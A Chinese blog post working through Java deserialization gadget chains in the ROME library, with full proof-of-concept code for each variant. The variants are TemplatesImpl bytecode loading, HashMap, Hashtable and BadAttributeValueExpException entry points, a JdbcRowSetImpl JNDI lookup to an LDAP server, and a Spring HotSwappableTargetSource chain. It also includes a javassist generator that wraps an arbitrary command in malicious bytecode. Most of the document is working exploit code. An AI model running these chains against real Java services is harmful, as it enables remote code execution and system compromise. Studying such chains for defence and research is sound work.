ROME原生反序列化

之前也看过不少原生链了,但大多都是记个结论,这次一定要能自己调.
ROME原生反序列化的核心是提供了ToStringBean类,其中的toString方法是这条反序列化链的核心.

TemplatesImpl链

重点分析这条链子,这是cb1中使用的执行命令的方法.

ToStringBean

来看这个类的toString方法

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);
 
        try {
            #获取getter
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        #执行getter
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } ...
    }

可以看到他可以触发this._obj的构造方法.接着看一下构造方法.

public ToStringBean(Class beanClass, Object obj) {
        this._beanClass = beanClass;
        this._obj = obj;
    }

可以看出_beanClasslass赋值javabean类型的Class
尝试让他去触发cb1中的getOutputProperties
来进行一个测试:
编写一个恶意的Class

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public shell() throws IOException {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

然后去触发cb1的尾联

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        toStringBean.toString();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功弹出计算器.在这里为什么要使用Templates.class而不是TemplatesImpl.class,因为Templates.class只有一个getter方法,而TemplatesImpl.class有多个,不省心.

EqualsBean

在这个类中存在beanHashCode方法,其中存在hashCode方法可以触发toString.

public EqualsBean(Class beanClass, Object obj) {
        if (!beanClass.isInstance(obj)) {
            throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
        } else {
            this._beanClass = beanClass;
            this._obj = obj;
        }
    }
 
public int hashCode() {
        return this.beanHashCode();
    }
 
public int beanHashCode() {
        return this._obj.toString().hashCode();
    }

那么我们就想到了给他栓哥HashMap的出口,直接去触发这个hashCode打下去,写出exp如下.

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap<Object, Object> map = new HashMap();
        map.put(equalsBean, "test");
        serialize(map);
        deserialize();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

也是成功执行命令了.

ObjectBean变换

这条链就是对EqualsBean环节进行了变换,换成了ObjectBean

ObjectBean

public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }
 
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }
...
 
public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

发现其中的hashCode方法可以触发EqualsBeanbeanHashCode方法,进而触发toString方法,因此得到POC如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> map = new HashMap();
        map.put(objectBean, "test");
        serialize(map);
        deserialize();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

HashTable出口

我们在cc7反序列化的时候用到了HashTable类去作为出口,当时是需要插入两个对象从而触发equals方法的,然而这里不需要去触发equals方法,只需要能够触发hashCode方法即可,因此只需要插入一个对象即可触发.POC如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class Main {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Hashtable hashTable = new Hashtable();
        hashTable.put(objectBean,1);
        serialize(hashTable);
        deserialize();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

BadAttributeValueExpException出口

在cc5中用到了BadAttributeValueExpException类去作为出口,可以直接的触发toString,非常的符合这里的情景.

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class Main {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setValue(badAttributeValueExpException,"val",toStringBean);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

JdbcRowSetImpl入口

这个链子在Fastjson中调过,但没详细记录,这里记录一下.

JdbcRowSetImpl

来看这个类的getDatabaseMetaData方法,这是一个getter方法,显然是可以被调用的.

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }

跟进这个connect方法看看

private Connection connect() throws SQLException {
{
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            }
    }

发现其中调用了lookup方法,可以通过控制dataSourceName实现JNDI注入,出口随便选一个,写出POC

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class Main {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://localhost:1389/Basic/Command/calc");

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setValue(badAttributeValueExpException,"val",toStringBean);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

HotSwappableTargetSource变换

这个链子没接触过,这里重点去进行分析.首先先额外添加一个spring-aop的依赖

<dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>5.2.7.RELEASE</version>
        </dependency>

HotSwappableTargetSource

看一下这个类的equals方法.

public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

经过调试可以发现this.target.equals是后传入的key,other是先传入的key

XString

看一下这个类的equals

public boolean equals(Object obj2)
  {

    if (null == obj2)
      return false;

      // In order to handle the 'all' semantics of
      // nodeset comparisons, we always call the
      // nodeset function.
    else if (obj2 instanceof XNodeSet)
      return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
      return str().equals(obj2.toString());
}

发现可以触发传入参数的toString方法.那么目标就很明确了,使用HashMap两次插值去触发HotSwappableTargetSourceequals方法,进而触发XStreamequals方法,从而触发ToStringBeantoString方法.
写出poc如下

import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://localhost:1389/Basic/Command/calc");

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(h1, "h1");
        hashMap.put(h2, "h2");

        serialize(hashMap);
        deserialize();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

这时候就有一个疑惑,是否可以使用Hashtable去作为出口,尝试后发现是不可以的.回顾一下cc7的poc,其中有这样两句

lazymap1.put("yy", 1);  
lazymap2.put("zZ",1);

如果想要触发equals的话是要求两个key能够碰撞的,而如果只需要触发hashCode的话则没有这个要求.因此只能使用HashMap而不能使用Hashtable

优化利用链

我们在分析cc3的时候提到过,HashMap的put方法本身也会触发一次hash方法,因此会执行两次命令.通过反射去修改值实现.
HashMap中的键值对本质上是存储在Node中的

static class Node<K,V> implements Map.Entry<K,V> {
        final int hash;
        final K key;
        V value;
        Node<K,V> next;
 
        Node(int hash, K key, V value, Node<K,V> next) {
            this.hash = hash;
            this.key = key;
            this.value = value;
            this.next = next;
        }
}

写出poc如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap<Object, Object> map = new HashMap();
        map.put("aaa",1);

        Object[] array = (Object[]) getValue(map,"table");
        Object node = array[0];
        setValue(node,"key", equalsBean);

        serialize(map);
        deserialize();

    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
    }
}

利用javassit去简化payload

回顾一下我们使用的恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public shell() throws IOException {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

由于必须继承自AbstractTranslet方法,因此对其的两个transform方法进行了重写,添加了payload的长度.javassist是用来动态修改字节码的,可以通过javassist跳过编译去构建一个class文件.
使用下面的脚本

import javassist.*;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

public class GetShellByteCodes {

    public static byte[] getTemplatesImpl(String cmd){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("poc");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
            ctClass.addConstructor(constructor);
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void WriteShell() throws IOException {
        byte[] shell = GetShellByteCodes.getTemplatesImpl("calc");
        FileOutputStream fileOutputStream = new FileOutputStream(new File("poc.class"));
        fileOutputStream.write(shell);
    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        WriteShell();
    }
}

得到的恶意类内容如下:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class poc extends AbstractTranslet {
    public poc() {
        Runtime.getRuntime().exec("calc");
    }
}

极大程度的减少了poc的长度

posted @ 2025-01-29 22:52  colorfullbz  阅读(93)  评论(0)    收藏  举报